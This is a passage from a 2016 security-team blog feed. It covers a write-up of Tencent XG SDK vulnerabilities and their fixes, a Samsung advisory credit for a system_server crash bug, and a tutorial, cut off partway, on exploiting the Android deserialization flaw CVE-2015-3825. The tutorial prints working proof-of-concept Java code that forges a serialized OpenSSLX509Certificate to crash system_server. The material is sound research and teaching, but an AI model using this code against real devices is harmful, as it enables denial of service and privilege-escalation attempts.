line-height: 1.6;">腾讯很快对命令注入和空指针解引用引发的远程拒绝服务漏洞进行了修复，主要修复点包括：</span><span style="font-size: 16px;"><br/></span></p><ul style="margin-bottom: 28px; list-style-position: initial; list-style-image: initial;" class=" list-paddingleft-2"><li><p><span style="font-size: 16px;">Socket端口监听任意地址改为监听本地地址。</span></p></li><li><p><span style="font-size: 16px;">对Socket端口传入的命令进行了加密。</span></p></li><li><p><span style="font-size: 16px;">对传入xgapplist中的packagename进行了过滤，特别是过滤了“／”字符，防止目录穿越。</span></p></li></ul><p style="margin-bottom: 28px;"><span style="font-size: 16px;">这些防御措施导致我很难再复现最后一个堆内存破坏漏洞了，但通过深入分析，我们仍然可以通过</span></p><ol style="margin-bottom: 28px; list-style-position: initial; list-style-image: initial;" class=" list-paddingleft-2"><li><p><span style="font-size: 16px;">编写手机上运行的本地代码</span></p></li><li><p><span style="font-size: 16px;">添加手机上已存在的packagename，要超过512个</span></p></li><li><p><span style="font-size: 16px;">破解加密算法</span></p></li></ol><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">来予以一一破解。首先，在手机上安装512个packganame(Oh my god! )，这个可以通过脚本解决。</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"><img data-s="300,640" data-type="png" style="white-space: pre-wrap;" data-ratio="0.5375" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=bdcb73bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO3kbyM4Kt4FDBsIKMpJ2I01896aicQemyOOrf92l6Srfh1V8cZIrpujAQ%2F0%3Fwx_fmt%3Dpng"/></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">其次，破解加密算法可以直接调用程序使用的加解密库，而不必真的破解。最后的POC关键代码如下，注意，我们在快超过512时sleep了一下，使XG SDK的处理能力跟上，然后后面再传入多个xgappinfo，这样有更大的几率触发并发。</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"><img data-s="300,640" data-type="png" style="white-space: pre-wrap;" data-ratio="0.4752475247524752" data-w="606" src="https://wechat2rss.xlab.app/img-proxy/?k=061298b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO35zm9WLXVSuticAgA98FLG0BumnNgz6jzWMiaKkEdB9icicgRK5Q5NtJZDQ%2F0%3Fwx_fmt%3Dpng"/></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">Logcat:</span></p><p><img data-s="300,640" data-type="png" data-w="728" data-ratio="1.164835164835165" src="https://wechat2rss.xlab.app/img-proxy/?k=3d330cba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO3NW4pjicWuD4WHuNGLPeewXQXPS6QYHCLPNd3eI5ZITKLazw48rOiaeiaA%2F0%3Fwx_fmt%3Dpng"/><br/><span style=" font-size: 16px; color: rgb(51, 51, 51) ; ; ; ">当然，这个double free漏洞无法利用，因为堆中的内容只能为手机上安装的packagename，所以尽管克服重重困难破解了加密算法、安装了512个packagename，仍然只是一个local DoS。TSRC在最先评级认为是代码执行，后面也更正为了local DoS。</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">最后，我们从修复的角度来看，XG SDK以检查/data/data/&lt;packagename&gt;/lib的存在，来判断是否为使用信鸽sdk的app，这种方式仍然不够严谨。依然有可能被恶意app利用来保活（ 因为信鸽sdk后续要启动app的服务），占用系统资源或者妨碍正常使用推送服务的app。</span></p><blockquote style="margin-top: 5px; margin-bottom: 5px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px; border: 0px none; white-space: normal; max-width: 100%; font-family: 微软雅黑; font-size: 14px; line-height: 24px; color: rgb(51, 51, 51); box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(12, 137, 24); box-sizing: border-box !important; word-wrap: break-word !important;">版权声明：</span></strong></blockquote><p style="margin-top: 5px; margin-bottom: 5px; padding: 5px 10px; white-space: normal; max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); font-family: 微软雅黑; font-size: 14px; line-height: 24px; border: 0px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(102, 102, 102); box-sizing: border-box !important; word-wrap: break-word !important;">本文由MS509团队成员原创，转载请注明来源</span></strong></p><p style="margin-bottom: 28px; line-height: 25.6px; color: rgb(51, 51, 51);"><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding-right: 1em; padding-left: 1em; display: inline-block; text-align: center; box-sizing: border-box;"><span class="" style="padding: 0.3em 0.5em; display: inline-block; border-radius: 0.5em; font-size: 14.08px; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(24, 141, 42);"><section style="box-sizing: border-box;"><span style="font-size: 16px;">MS509简介：</span></section></span> </section><section class="" style="margin-top: -1em; padding: 20px 10px 10px; border: 1px solid rgb(192, 200, 209); text-align: center; box-sizing: border-box; background-color: rgb(239, 239, 239);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="box-sizing: border-box;"><section class="" style="text-align: left; box-sizing: border-box;"><section style="box-sizing: border-box;"><em><em><span style="line-height: 24px; white-space: pre-wrap;">MS509为“中国网安”开展互联网攻防技术研究的专业团队，当前主攻方向包括WEB安全、移动安全、二进制安全等</span><strong style="line-height: 24px; white-space: pre-wrap;">。</strong><strong>更多团队动态，尽在www.ms509.com</strong></em></em></section></section></section></section></section></section></section></section><p><br/></p><section class="aimeibian imbselect" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section style="text-align: center; border: 0px solid rgb(0, 0, 0);"><section style="display: inline-block;"><section style="width: 21em; border: 0px solid rgb(0, 0, 0);"><img style="width: auto;" class="" data-type="gif" data-ratio="0.532" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=1b0b4184&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F0%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em; margin-left: 0.8em; width: 8em; height: 8em;"><img data-s="300,640" data-type="jpeg" data-w="258" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=10c9108b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F0%3Fwx_fmt%3Djpeg"/><br/></section></section></section></section><p><br/></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><br/></p><section class="aimeibian" data-ele="" style="line-height: 25.6px; white-space: normal;"><section class="aimeibian" data-ele="" style="max-width: 100%; border: 0px none; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><p style="max-width: 100%; word-wrap: break-word; font-size: 15.5556px; min-height: 1.5em; line-height: 2em; word-break: normal; border-radius: 5px; color: rgb(255, 255, 255); text-align: center; box-sizing: border-box !important; background-color: rgb(89, 150, 235);"><span style="max-width: 100%; color: inherit; box-sizing: border-box !important; word-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section>



<p><a href="http://www.ms509.com/?p=474">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=11408a25&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935233%26idx%3D1%26sn%3Db710854ee930beeb7859050dffa29839%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 01 Dec 2016 21:29:00 +0800</pubDate>
    </item>
    <item>
      <title>MS509团队获三星官方致谢</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935225&amp;idx=1&amp;sn=1766d0e3182d4fdaac6fee8896ace345</link>
      <description>近日，三星手机公司发布了2016年11月份的安全公告[1]，对MS509团队发现的一中危漏洞予以致谢。漏洞详</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2016-11-09 14:34</span> <span style="display: inline-block;"></span>
</p>

<p>近日，三星手机公司发布了2016年11月份的安全公告[1]，对MS509团队发现的一中危漏洞予以致谢。漏洞详</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=530542a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD2vNfGSjm29AIzBLL7snyVBbeiczQkoJO9ASlS09JAefxgTcrWuicKzaB6OUAuDlxDSYE7nbHOw94EQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style=" box-sizing: inherit; border-width: 0px; border-style: initial; border-color: initial ; ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;">近日，三星手机公司发布了2016年11月份的安全公告[1]，对MS509团队发现的一中危漏洞予以致谢。</span></p><p style=" box-sizing: inherit; border-width: 0px; border-style: initial; border-color: initial ; ; ; ; ; ; ; ; ; ; "><img class="aligncenter size-full wp-image-468" data-w="1870" width="1870" height="530" style="box-sizing: inherit; border-width: 0px; border-style: initial; border-color: initial; vertical-align: middle; display: block; margin: 0.4211em auto 1.6842em; clear: both;" data-type="png" data-ratio="0.28342245989304815" src="https://wechat2rss.xlab.app/img-proxy/?k=77246a9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2vNfGSjm29AIzBLL7snyVBM8UR3y7UmYMF15ichicmSibEb8XG2W5iblnBAON7NJ16VKK5YMoyN7ib2rQ%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: inherit; border-width: 0px; border-style: initial; border-color: initial ; ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;">漏洞详情如下：</span></p><p style=" box-sizing: inherit; border-width: 0px; border-style: initial; border-color: initial ; ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;">SVE-2016-7044: system_server crash, DoS (AntService)</span></p><p style=" box-sizing: inherit; border-width: 0px; border-style: initial; border-color: initial ; ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;">Severity: Medium<br style="box-sizing: inherit;"/>Affected versions: KK(4.4), L(5.0/5.1), M(6.0)<br style="box-sizing: inherit;"/>Reported on: September 6, 2016<br style="box-sizing: inherit;"/>Disclosure status: Privately disclosed.<br style="box-sizing: inherit;"/>The system services “AntService” doesn’t have proper access control and exception handling. And it allows attackers to use system API of “AntService” and cause rebooting of device by force-crashing the service.<br style="box-sizing: inherit;"/>The patch restricts unauthorized access to the “AntService” and filters out improper cases which may cause crash。</span></p><p style=" box-sizing: inherit; border-width: 0px; border-style: initial; border-color: initial ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;">[1] <a href="http://security.samsungmobile.com/smrupdate.html#SMR-NOV-2016" target="_blank">http://security.samsungmobile.com/smrupdate.html#SMR-NOV-2016</a></span></p><p><br/></p>



<p><a href="http://www.ms509.com/?p=467">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0a74a84b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935225%26idx%3D1%26sn%3D1766d0e3182d4fdaac6fee8896ace345%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 09 Nov 2016 14:34:00 +0800</pubDate>
    </item>
    <item>
      <title>Android漏洞CVE-2015-3825分析及exploit实战：从Crash到劫持PC</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935222&amp;idx=1&amp;sn=0291679bca804e37236212e1b28374bb</link>
      <description>CVE-2015-3825是去年Android系统爆出的高危漏洞，与CVE-2014-7911一样都属于Android系统的反序列化漏洞。通过该漏洞可以实现Android系统提权及代码执行等一系列攻击行为，危害巨大</description>
      <content:encoded><![CDATA[<p>
<span>【原创】 thor</span> <span>2016-10-10 09:22</span> <span style="display: inline-block;"></span>
</p>

<p>CVE-2015-3825是去年Android系统爆出的高危漏洞，与CVE-2014-7911一样都属于Android系统的反序列化漏洞。通过该漏洞可以实现Android系统提权及代码执行等一系列攻击行为，危害巨大</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6b52b99d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD2sJ01SjZ3vTUMUXY5DCAe3JAFmTbIvM0YRQfddouvMFKY2TiaicFTQYakDwldnYhsM0ZSR3piaaIlmA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="line-height: 25.6px;"><img style="line-height: 25.6px; white-space: normal; text-align: center; background-color: rgb(255, 255, 255);" title="1444706553487851.gif" data-ratio="0.11875" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=60bb7fb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F0%3Fwx_fmt%3Dgif"/><br/></p><p style="white-space: normal; line-height: 25.6px;"><em>责任编辑：支书Woojune</em></p><p style="line-height: 25.6px;"><br/></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal;"><section style="margin-top: 10px; margin-bottom: 10px; max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><section class="aimeibian" data-ele="" style="line-height: 25.6px; max-width: 100%; border: 0px none; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="padding: 10px 10px 25px; max-width: 100%; box-sizing: border-box; border: 2px solid rgb(239, 159, 0); border-radius: 10px; word-wrap: break-word !important;"><p style="max-width: 100%; word-wrap: break-word; min-height: 1em; text-align: justify; box-sizing: border-box !important;"><span style="color: rgb(255, 0, 0);"><strong>声明：本文由【中国网安 · MS509 Team】成员thor原创，仅用于技术交流分享，禁止将相关技术应用到不当途径。</strong></span></p></section></section><section class="aimeibian" data-ele="" style="max-width: 100%; border: 0px none; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="margin-top: -20px; max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="margin-bottom: -25px; line-height: 25.6px; max-width: 100%; display: inline-block; width: 405px; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="margin-left: 20px; max-width: 100%; float: left; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="margin-bottom: -3px; max-width: 100%; width: 25px; height: 7px; border-radius: 5px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(51, 51, 51);"></section><section style="margin-left: 9px; max-width: 100%; width: 6px; height: 40px; border-radius: 5px; transform: rotate(0deg); box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(204, 204, 204);"></section><section style="margin-top: -3px; max-width: 100%; width: 25px; height: 7px; border-radius: 5px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(51, 51, 51);"></section></section><section style="margin-right: 20px; max-width: 100%; float: right; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="margin-bottom: -3px; max-width: 100%; width: 25px; height: 7px; border-radius: 5px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(51, 51, 51);"></section><section style="margin-left: 9px; max-width: 100%; width: 6px; height: 40px; border-radius: 5px; transform: rotate(0deg); box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(204, 204, 204);"></section><section style="margin-top: -3px; max-width: 100%; width: 25px; height: 7px; border-radius: 5px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(51, 51, 51);"><br/></section></section></section><section style="padding: 25px 10px 10px; max-width: 100%; box-sizing: border-box; border: 2px solid rgb(239, 159, 0); border-radius: 10px; word-wrap: break-word !important;"><p style="line-height: 25.6px;"><strong><span style="box-sizing: border-box; font-weight: 700; font-family: 微软雅黑; font-size: 15px; line-height: 26px; white-space: pre-wrap; color: rgb(0, 176, 80); background-color: rgb(255, 255, 255);">CVE-2015-3825是去年Android系统爆出的高危漏洞，与CVE-2014-7911一样都属于Android系统的反序列化漏洞。通过该漏洞可以实现Android系统提权及代码执行等一系列攻击行为，危害巨大，影响Android 4.3 到Android 5.1所有版本。</span></strong></p></section></section></section></section></section><p><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x00</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 18px; line-height: 25.6px;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box;"><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; box-sizing: border-box;"><span style="font-size: 20px;">构造Crash Poc</span></section></section></h1></section></section></section></section></section></section><p><br/></p><p style="line-height: 25.6px;">与CVE-2014-7911类似，CVE-2015-3825都是反序列化漏洞，因此我们基于CVE-2014-7911的Poc构造CVE-2015-3825的Poc。CVE-2015-3825的反序列化漏洞出现在OpenSSLX509Certificate类中，构造伪造类：</p><p style="line-height: 25.6px;"><br/></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p><em>public class ZpenSSLX509Certificate implements Serializable {  </em></p><p><em>    private static final long serialVersionUID = -8550350185014308538L; //5.0</em></p><p><em>    private final long mContext;</em></p><p><em>    public ZpenSSLX509Certificate(long ctx) {</em></p><p><em>        mContext = ctx;</em></p><p><em>    }</em></p><p><em>}</em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p style="line-height: 25.6px;"><span style="line-height: 1.6;"></span></p><p>将伪造类放入Bundle中：</p><p><br/></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;">Bundle b = new Bundle();</em><br/></p><p style="line-height: 25.6px;"><em>b.putSerializable(&#34;eatthis&#34; , new ZpenSSLX509Certificate(0xaaaaaaaaaL));</em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>在setApplicationRestrictions函数中将Bundle中伪造的类修改为OpenSSLX509Certificate，并通过Binder传给system_server:</p><p><br/></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><em>byte[] data = _data.marshall();</em></p><p style="line-height: 25.6px;"><em>for (int i = 0; i&lt;data.length-3; i++) {</em></p><p style="line-height: 25.6px;"><em>if (data[i] == &#39;Z&#39; &amp;&amp; data[i + 1] == &#39;p&#39; &amp;&amp; data[i + 2] == &#39;e&#39; &amp;&amp; data[i + 3] == &#39;n&#39;) {</em></p><p style="line-height: 25.6px;"><em>        data[i] = &#39;O&#39;;</em></p><p style="line-height: 25.6px;"><em>    }</em></p><p style="line-height: 25.6px;"><em>}</em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>发送成功以后就需要等待system_server触发GC回收对象，这里我们可以通过Binder多次发送Bundle去触发：</p><p><br/></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><em>for (int i=0; i&lt;100; i++) {</em></p><p style="line-height: 25.6px;"><em>   setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());</em></p><p style="line-height: 25.6px;"><em>}</em></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>我们在AVD Android 5.0模拟器上运行Poc，通过adb logcat可以看到crash log:</p><p><br/></p><p><img data-w="2050" class="" data-type="png" data-ratio="0.30341463414634146" src="https://wechat2rss.xlab.app/img-proxy/?k=dd8e6ed1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2sJ01SjZ3vTUMUXY5DCAe3TYn4uNkDUjDn4QaliaWbQEJx2wHREgleSYx3nzbvfmhrBfMSPzmosJA%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>可以看到虽然出错的address像是我们指定的地址，但是PC指针并不受我们控制。我们只有通过调试分析来确定该漏洞如何利用，找到控制PC指针的方法。</p><p><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x01</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 18px; line-height: 25.6px;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box;"><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; box-sizing: border-box;"><span style="font-size: 20px;"><span style="line-height: 25.6px; white-space: pre-wrap;">分析漏洞成因</span></span></section></section></h1></section></section></section></section></section></section><p><br/></p><p><span style="text-decoration: underline;">参考论文[1]</span>及<span style="text-decoration: underline;">分析文章[2]</span>，我们通过IDA调试及源码分析来确定漏洞的利用点。我们伪造的类在被GC回收的时候会调用OpenSSLX509Certificate的finalize方法：</p><p><br/></p><p><img data-w="1220" class="" data-type="png" data-ratio="0.4163934426229508" src="https://wechat2rss.xlab.app/img-proxy/?k=29969599&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2sJ01SjZ3vTUMUXY5DCAe3PDYiaZKUpFg6pibHzFTzP3lm2gq7gRIU53yAxxulXmepGc8QPJFcOGkQ%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>finalize方法会调用native层的X509_free函数，native层主要的函数调用栈如下：</p><p><br/></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em style="line-height: 25.6px;"></em></p><p style="line-height: 25.6px;"><span style="line-height: 25.6px;"> </span><em style="line-height: 25.6px;">X509_free---&gt;ASN1_item_free---&gt;ASN1_item_combine_free---&gt;asn1_do_lock---&gt;CRYPTO_add_lock</em><br/></p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p>我们通过IDA attach到system_server进程，运行Poc可在IDA中捕获到exception：</p><p><br/></p><p><img data-s="300,640" data-type="png" data-w="1280" data-ratio="0.85078125" src="https://wechat2rss.xlab.app/img-proxy/?k=ccd9e073&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2sJ01SjZ3vTUMUXY5DCAe3kr2bLLv9L0lCwYSHwrZGstZ3XJlxm0zefTSIB6N3Dt2arC65OpYicuw%2F0%3Fwx_fmt%3Dpng"/><br/></p><p>我们可以看到crash是由于执行：<span style="line-height: 1.6;">LDR R0,[R7]</span></p><p><br/></p><p>查看此时的寄存器环境：</p><p><br/></p><p><img data-w="1194" class="" data-type="png" data-ratio="0.628140703517588" src="https://wechat2rss.xlab.app/img-proxy/?k=738c2151&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2sJ01SjZ3vTUMUXY5DCAe3pTCDrEyVaOicpPEa4icVY1LvKwTQ6lciarJ03pziavn21Qhz5X0zynAYxQ%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>可以看到寄存器R7存储的值正好是我们传入的地址值+0×10。由于R7寄存器的值是一个不存在的地址，因此在执行LDR R0,[R7]指令时导致内存地址访问错误，从而导致system_server进程崩溃。</p><p><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; 